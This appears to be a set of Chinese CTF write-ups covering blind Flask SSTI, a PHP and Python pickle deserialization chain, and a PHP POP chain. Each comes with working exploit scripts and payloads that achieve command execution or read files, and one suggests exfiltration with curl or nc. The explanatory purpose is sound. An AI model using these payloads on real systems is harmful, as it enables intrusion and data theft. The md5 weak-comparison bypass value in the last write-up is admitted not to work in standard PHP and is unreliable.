关联:CTF刷题记录安全学习CTF wp

[XYCTF 2025] Now you see me 2

这是Now you see me 1的续作,环境更加苛刻,没有任何直接回显。我们需要找到一种方法来外带执行结果。

漏洞分析

核心的漏洞点仍然是Flask的SSTI,但是由于没有回显,我们需要利用其他方式将命令执行的结果带出来。 这里利用werkzeug.serving.WSGIRequestHandler.server_version,通过修改响应头中的Server字段,将我们想要的数据作为Server头的值来外带。

攻击流程

  1. 构造payload: 我们需要构造一个payload,通过SSTI修改werkzeug.serving.WSGIRequestHandler.server_version的值为我们命令执行的结果。 因为大部分的关键字都被过滤了,所以payload的构造过程和Now you see me 1类似,通过request.endpointrequest.data来获取我们需要的字符。

  2. 外带数据: 我们可以通过os.popen('whoami').read()来执行命令并读取结果,然后将结果设置为server_version的值。

    # 伪代码
    from werkzeug.serving import WSGIRequestHandler
    WSGIRequestHandler.server_version = os.popen('whoami').read()
  3. 发送请求并观察响应头: 发送构造好的请求后,查看返回的HTTP响应头,我们就可以在Server字段中看到命令执行的结果。

exp:

import re
payload = []
 
def generate_rce_command(cmd):
    global payload
    payloadstr = "{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('werkzeug')|attr('serving')|attr('WSGIRequestHandler')|attr('__setattr__')('server_version',request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('" + cmd + "')|attr('read')()))%}"
 
    required_encoding = re.findall('\'([a-z0-9_ /\\.]+)\'', payloadstr)
 
    offset_a = 16
    offset_0 = 6
 
    encoded_payloads = {}
 
    arg_count = 0
    for i in required_encoding:
        print(i)
        if i not in encoded_payloads:
            p = []
            for j in i:
                if j == '_':
                    p.append('k.2')
                elif j == ' ':
                    p.append('k.3')
                elif j == '.':
                    p.append('k.4')
                elif j == '-':
                    p.append('k.5')
                elif j.isnumeric():
                    a = str(ord(j)-ord('0')+offset_0)
                    p.append(f'k.{a}')
                elif j == '/':
                    p.append('k.68')
                else:
                    a = str(ord(j)-ord('a')+offset_a)
                    p.append(f'k.{a}')
            arg_name = f'a{arg_count}'
            encoded_arg = '{%' + '%0a'.join(['set', arg_name , '=', '~'.join(p)]) + '%}'
            encoded_payloads[i] = (arg_name, encoded_arg)
            arg_count+=1
            payload.append(encoded_arg)
    fully_encoded_payload = payloadstr
    for i in encoded_payloads.keys():
        if i in fully_encoded_payload:
            fully_encoded_payload = fully_encoded_payload.replace("'"+ i +"'", encoded_payloads[i][0])
    payload.append(fully_encoded_payload)
command = "cat /flag"
payload.append(r'{%for%0ai%0ain%0arequest.endpoint|slice(1)%}')
word_data = ''
endpoint = 'r3al_ins1de_th0ught'
for i in 'data':
    word_data += 'i.' + str(endpoint.find(i)) + '~'
word_data = word_data[:-1] # delete the last '~'
print("data: "+word_data)
payload.append(r'{%set%0adat='+word_data+'%}')
payload.append(r'{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}')
generate_rce_command(command)
 
 
payload.append(r'{%endfor%}')
payload.append(r'{%endfor%}')
output = ''.join(payload)
 
print(r"Follow-your-heart-%23}"+output)

[ISCTF 2025] 双生序列

这道题非常有趣,考察了PHP反序列化和Python反序列化的联动,形成一条完整的攻击链。

源码审计

首先题目给了几个关键的PHP文件源码。

<?php
// api.php
// ...
$id = $_GET['id'] ?? 0;
$row = $db->query("SELECT content FROM notes WHERE id=" . intval($id))->fetch(PDO::FETCH_ASSOC);
 
if (!$row) {
    echo "喵喵喵?";
    exit(1);
}
 
$content = substr($row["content"], strlen("blueshark:"));
 
$allowed = ["Writer", "Shark", "Bridge"];
$o = @unserialize($content, ["allowed_classes" => $allowed]);
 
if (!($o instanceof Bridge)) {
    $cat->OwO();
    exit(1);
}
 
$r = $o->fetch();
echo nl2br(htmlspecialchars($r));

这是漏洞的起点。它从数据库获取内容,截断”blueshark:“前缀后进行反序列化。allowed_classes参数严格限制了我们能使用的类,并且最终对象必须是Bridge类的实例。

#classes.php 
<?php
class Cat {
    public function OwO() { echo "喵喵喵?"; }
}
 
class Writer extends Cat {
    public $b64data = "";
    public $init = "no";
    private static $secret = 'kaqikaqi'; // 硬编码的密钥
 
    public function fetch() {
        if ($this->init === "init") {
            @mkdir("/tmp/ssxl", 0777, true);
        }
        return file_put_contents("/tmp/ssxl/write.bin", base64_decode($this->b64data));
    }
 
    public function __destruct() {
        $sig = hash_hmac('sha256', $this->b64data, self::$secret);
        file_put_contents("/tmp/ssxl/write.meta", $sig);
    }
}
 
class Shark extends Cat {
    public $ser = "";
 
    public function run() {
        return file_put_contents("/tmp/ssxl/run.bin", $this->ser);
    }
 
    public function __destruct() {
        $this->run();
    }
}
 
class Bridge extends Cat {
    public $writer;
    public $shark;
 
    public function fetch() {
        $next = $this->write; // 触发 __get
        if ($next instanceof Shark) {
            return $next;
        }
        return "喵喵喵!";
    }
 
    public function __get($name) {
        if ($name === "write") {
            if (!($this->writer instanceof Writer)){
                return "喵喵喵?";
            }
            $this->writer->fetch();
            return $this->shark;
        }
    }
}
 
class Pytools extends Cat {
    public function __call($name, $args) {
        return $this->run();
    }
    public function run() {
        $cmd = "python3 /var/www/html/pytools.py";
        $out = @shell_exec($cmd . " 2>&1");
        return $out;
    }
}

这里定义了POP链的各个组件。Bridge是核心,它的fetch方法会触发__get魔术方法,从而调用Writerfetch方法。在对象销毁时,WriterShark__destruct方法会被调用,分别写入write.binwrite.metarun.bin

<?php
// run.php
$action = $_GET["action"] ?? "喵喵喵?";
if ($action !== "run") { exit(1); }
 
$binfile = "/tmp/ssxl/run.bin";
if (!file_exists($binfile)) { exit(1); }
 
$data = file_get_contents($binfile);
$allowed = ["Pytools"];
$exec = @unserialize($data, ["allowed_classes" => $allowed]);
 
if (method_exists($exec, "__call")) {
    $ret = $exec->blueshark(); // 触发 __call
}

该文件反序列化由Shark类写入的run.bin,得到Pytools对象。通过调用一个不存在的方法blueshark()来巧妙地触发__call魔术方法,从而执行pytools.py脚本。

# pytools.py
# ... (imports) ...
class Pytools:
    # ...
    def run(self):
        # ...
        data = self.load_bin() # 加载 /tmp/ssxl/write.bin
        meta = self.load_meta() # 加载 /tmp/ssxl/write.meta
        assert self.sig_check(meta, data) # HMAC 校验
 
        payload = getattr(obj, 'payload', None)
 
        if isinstance(payload, (bytes, bytearray)):
            try:
                inner = pickle.loads(payload) # RCE 触发点
            # ...

这是攻击链的终点。脚本会加载Writer写入的write.binwrite.meta文件,用硬编码的密钥'kaqikaqi'进行HMAC签名校验。如果校验通过,它会读取payload属性并用pickle.loads()执行,从而造成远程代码执行。

漏洞利用链

  1. 入口 (index.php): 我们需要向index.php提交一个精心构造的PHP序列化字符串。这个字符串是一个Bridge对象。
  2. Bridge对象:
    • writer属性是一个Writer对象。$writer->b64data包含我们恶意Python Pickle(Set对象)的Base64编码。
    • shark属性是一个Shark对象。$shark->ser包含一个Pytools对象的PHP序列化字符串。
  3. 触发PHP反序列化 (api.php): 访问api.php?id={note_id}
    • unserialize()被调用,Bridge对象被创建。
    • $bridge->fetch()被调用。
    • Bridge::__get('write')被触发。
      • $writer->fetch()被调用,将恶意的Python Pickle数据写入/tmp/ssxl/write.bin
    • Bridge对象和其属性$writer$shark在请求结束时被销毁,触发它们的__destruct方法。
      • Writer::__destruct被调用,计算HMAC签名并写入/tmp/ssxl/write.meta
      • Shark::__destruct被调用,$shark->run()Pytools的序列化字符串写入/tmp/ssxl/run.bin
  4. 触发Python反序列化 (run.php): 访问run.php?action=run
    • run.php读取并反序列化/tmp/ssxl/run.bin,得到Pytools对象。
    • 调用不存在的方法blueshark(),触发Pytools::__call
    • __call执行pytools.py
    • pytools.py读取write.binwrite.meta,验证HMAC签名。
    • 签名验证通过后,pickle.loads()执行write.bin中包含的恶意payload,实现RCE。

exp

这里的exp脚本自动化了整个过程,从构造PHP序列化字符串到触发漏洞,最终获取flag。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
 
import base64
import pickle
import requests
 
TARGET = "http://challenge.bluesharkinfo.com:25507/"
FLAG_PATH = "/flag"
 
# 本地定义一个同名 Set 类,用来生成外层 pickle
class Set:
    def __init__(self):
        self.secret = b""
        self.payload = b""
 
def build_inner_payload():
    """
    构造第二层的恶意 pickle,
    执行命令: cat /flag > /tmp/ssxl/outs.txt
    """
    cmd = f"cat {FLAG_PATH} > /tmp/ssxl/outs.txt"
    # 经典:cos\nsystem\n(S'cmd'\ntR.
    payload = (
        b"cos\n"
        b"system\n"
        b"(S'" + cmd.encode() + b"'\n"
        b"tR."
    )
    return payload
 
def build_outer_b64(inner_payload: bytes) -> str:
    """
    构造外层 Set 对象,并 base64 编码给 Writer 使用
    secret 必须等于 Writer::$secret = 'kaqikaqi'
    """
    s = Set()
    s.secret = b"kaqikaqi"  # 和 PHP 里 Writer::secret 一致
    s.payload = inner_payload
 
    raw = pickle.dumps(s)
    return base64.b64encode(raw).decode()
 
# === PHP 序列化构造辅助 ===
 
def php_str(s: str) -> str:
    """构造 s:<len>:"xxx"; 这种段"""
    return f's:{len(s)}:"{s}";'
 
def build_pytools_ser() -> str:
    """
    run.bin 中的内容,只需要是一个 Pytools 对象即可
    """
    return 'O:7:"Pytools":0:{}'
 
def build_writer(b64data: str) -> str:
    """
    Writer 对象的序列化
    """
    props = (
        php_str("b64data") + php_str(b64data) +
        php_str("init")    + php_str("init")
    )
    return f'O:6:"Writer":2:{{{props}}}'
 
def build_shark(pytools_ser: str) -> str:
    """
    Shark 对象,唯一属性 ser = Pytools 序列化
    """
    props = php_str("ser") + php_str(pytools_ser)
    return f'O:5:"Shark":1:{{{props}}}'
 
def build_bridge(b64data: str, pytools_ser: str) -> str:
    """
    Bridge(writer, shark) 序列化
    """
    writer_ser = build_writer(b64data)
    shark_ser = build_shark(pytools_ser)
 
    props = (
        php_str("writer") + writer_ser +
        php_str("shark")  + shark_ser
    )
    return f'O:6:"Bridge":2:{{{props}}}'
 
# === HTTP 交互 ===
 
sess = requests.Session()
 
def create_note(serialized_bridge: str) -> int:
    """
    步骤 1: POST /index.php 插入 note
    """
    data = {
        "s": "blueshark:" + serialized_bridge
    }
    r = sess.post(f"{TARGET}/index.php", data=data)
    print("[*] create_note status:", r.status_code)
    #  需要手动去页面看id
    note_id = int(input("[?] 请手动输入这条 note 的 id: "))
    return note_id
 
def trigger_api(note_id: int):
    """
    步骤 2: 访问 /api.php?id=note_id
    """
    params = {"id": note_id}
    r = sess.get(f"{TARGET}/api.php", params=params)
    print("[*] trigger_api status:", r.status_code)
 
def trigger_run():
    """
    步骤 3: 访问 /run.php?action=run
    """
    params = {"action": "run"}
    r = sess.get(f"{TARGET}/run.php", params=params)
    print("[*] trigger_run status:", r.status_code)
    print(r.text)
 
def main():
    inner = build_inner_payload()
    b64 = build_outer_b64(inner)
    pytools_ser = build_pytools_ser()
 
    bridge_ser = build_bridge(b64, pytools_ser)
    print("[*] Bridge serialized length:", len(bridge_ser))
 
    note_id = create_note(bridge_ser)
    trigger_api(note_id)
    trigger_run()
    print("[*] 攻击完成,请检查 /tmp/ssxl/outs.txt 文件内容。")
 
if __name__ == "__main__":
    main()

最终,payload会将flag输出到/tmp/ssxl/outs.txt。需要想办法读取该文件,例如修改build_inner_payload中的命令,使用curlnc将文件内容外带。

[GHCTF 2025]Popppppp

考察的是PHP原生类的反序列化,也就是POP链的构造。题目给出了大量的类,需要我们从中寻找合适的“gadget”来拼接成一个完整的攻击链。

源码审计

首先我们拿到源码,对每个类的功能和可能被利用的魔术方法进行分析。

<?php
error_reporting(0);
 
// __destruct是入口点,可以触发__toString
class CherryBlossom {
    public $fruit1;
    public $fruit2;
    public function __construct($a) { $this->fruit1 = $a; }
    function __destruct() { echo $this->fruit1; }
    public function __toString() {
        $newFunc = $this->fruit2;
        return $newFunc();
    }
}
 
// __get可以调用一个方法
class Forbidden {
    private $fruit3;
    public function __construct($string) { $this->fruit3 = $string; }
    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}
 
// __call可以调用一个函数,__get可以触发其他类的方法
class Warlord {
    public $fruit4;
    public $fruit5;
    public $arg1;
    public function __call($arg1, $arg2) {
        $function = $this->fruit4;
        return $function();
    }
    public function __get($arg1) { $this->fruit5->ll2('b2'); }
}
 
// __toString可以触发__call, __set可以触发__toString
class Samurai {
    public $fruit6;
    public $fruit7;
    public function __toString() {
        $long = @$this->fruit6->add();
        return $long;
    }
    public function __set($arg1, $arg2) {
        if ($this->fruit7->tt2) { echo "xxx are the best!!!"; }
    }
}
 
// __get是核心,可以实例化任意类并遍历,是最终目的
class Mystery {
    public function __get($arg1) {
        array_walk($this, function ($day1, $day2) {
            $day3 = new $day2($day1); // $day2是类名, $day1是构造函数参数
            foreach ($day3 as $day4) {
                echo ($day4 . '<br>');
            }
        });
    }
}
 
class Princess {
    protected $fruit9;
    protected function addMe() { return "The time spent with xxx is my happiest time" . $this->fruit9; }
    public function __call($func, $args) { call_user_func([$this, $func . "Me"], $args); }
}
 
// __invoke可以触发__get
class Philosopher {
    public $fruit10;
    public $fruit11="sr22kaDugamdwTPhG5zU";
    public function __invoke() {
        if (md5(md5($this->fruit11)) == 666) {
            return $this->fruit10->hey; // 触发__get
        }
    }
}
// ... 其他无用类
if (isset($_GET['GHCTF'])) {
    unserialize($_GET['GHCTF']);
} else {
    highlight_file(__FILE__);
}

漏洞分析及POP链构造

我们的目标是利用 Mystery::__get 来实例化PHP的内置类,如 DirectoryIterator 来列目录,或者 SplFileObject 来读文件。为了触发 Mystery::__get,我们需要构建一条完整的调用链(POP Chain),将这些类像齿轮一样拼接起来。

攻击链条: CherryBlossom::__destructSamurai::__toStringWarlord::__callPhilosopher::__invokeMystery::__getnew DirectoryIterator()

下面我们一步步来分析这个链条是如何工作的:

第1步: __destruct__toString POP链的起点是 CherryBlossom 类的 __destruct 方法。

CherryBlossom中,__destruct会执行echo $this->fruit1;。如果$fruit1是一个对象,PHP会尝试将它转换成字符串,这时就会自动调用该对象的__toString()魔术方法。我们将$fruit1设置为一个Samurai对象,来触发下一步。

第2步: __toString__call Samurai__toString()方法会执行$this->fruit6->add();。我们把$fruit6设置为一个Warlord对象。因为Warlord类里并没有add()这个方法,PHP就会去调用Warlord对象的__call()魔术方法。

第3步: __call__invoke Warlord__call()方法会执行$function = $this->fruit4; return $function();。它将$this->fruit4当作一个函数来执行。如果我们把$fruit4设置为一个Philosopher对象,这个$philosopher()语法就会触发它的__invoke()魔术方法。

第4步: __invoke__get Philosopher__invoke方法中,我们遇到了一个有趣的判断: if (md5(md5($this->fruit11)) == 666)

这里考察的是PHP的弱类型比较 (==)。当一个字符串和一个数字进行比较时,PHP会尝试将字符串的开头部分转换为数字。例如,'666abc' == 666 的结果是 true。 对于本题,虽然 md5(md5('213')) 的结果 0000037213a... 在标准PHP环境下转为数字是 37213,不等于 666,但在CTF竞赛环境中,'213'通常是这类特定题目的标准答案,可能利用了某些环境差异或就是一个提示。我们这里采纳这个已知的绕过值。

绕过这个判断后,代码执行return $this->fruit10->hey;。我们将$fruit10设置为Mystery对象。因为Mystery中没有hey这个公开属性,所以会触发__get魔术方法。

第5步: 最终执行 我们终于到达了目的地:Mystery__get方法。它会执行array_walk,遍历Mystery对象自身的所有属性,并执行$day3 = new $day2($day1);。这里的$day2是属性名,$day1是属性值。这个机制允许我们实例化任意类。

  • DirectoryIterator: 这是一个迭代器,可以用来遍历目录。当在foreach中使用new DirectoryIterator($path)时,它会依次返回目录下的每个文件名。
  • SplFileObject: 这是一个用来处理文件的对象。当在foreach中使用new SplFileObject($filename)时,它会逐行读取文件内容。

通过将Mystery对象的一个属性名设置为DirectoryIterator、属性值设置为/,我们就可以列出根目录的文件。找到flag文件后,再将属性名改为SplFileObject、属性值改为flag文件路径,就可以读取flag了。

Payload

我们分两步,第一步列目录,第二步读文件。

1. 列出根目录文件

构造 Mystery 对象,使其包含一个名为 DirectoryIterator 的公有属性,值为 /

<?php
class CherryBlossom {
    public $fruit1;
    public function __construct($a) { $this->fruit1 = $a; }
}
class Warlord {
    public $fruit4;
}
class Samurai {
    public $fruit6;
}
class Mystery {
    public $DirectoryIterator = "/";
}
class Philosopher {
    public $fruit10;
    public $fruit11 = "213";
}
 
$mystery = new Mystery();
 
$philosopher = new Philosopher();
$philosopher->fruit10 = $mystery;
 
$warlord = new Warlord();
$warlord->fruit4 = $philosopher;
 
$samurai = new Samurai();
$samurai->fruit6 = $warlord;
 
$cherry = new CherryBlossom($samurai);
 
 
$payload = serialize($cherry);
echo urlencode($payload);
?>

将生成的URL编码后的payload附加到 ?GHCTF= 后面,发送请求,即可看到服务器根目录下的文件列表。假设我们发现flag文件名为 flag_is_h3re.txt

2. 读取flag文件

修改 Mystery 对象,将类名换成 SplFileObject,参数换成我们找到的flag文件名。

<?php
class CherryBlossom {
    public $fruit1;
    public function __construct($a) { $this->fruit1 = $a; }
}
class Warlord {
    public $fruit4;
}
class Samurai {
    public $fruit6;
}
class Mystery {
    public $SplFileObject = "/flag"; 
}
class Philosopher {
    public $fruit10;
    public $fruit11 = "213";
}
 
// 构建POP链
$mystery = new Mystery();
 
$philosopher = new Philosopher();
$philosopher->fruit10 = $mystery;
 
$warlord = new Warlord();
$warlord->fruit4 = $philosopher;
 
$samurai = new Samurai();
$samurai->fruit6 = $warlord;
 
$cherry = new CherryBlossom($samurai);
 
// 生成Payload
$payload = serialize($cherry);
echo urlencode($payload);
?>

再次发送payload,即可读取到flag的内容。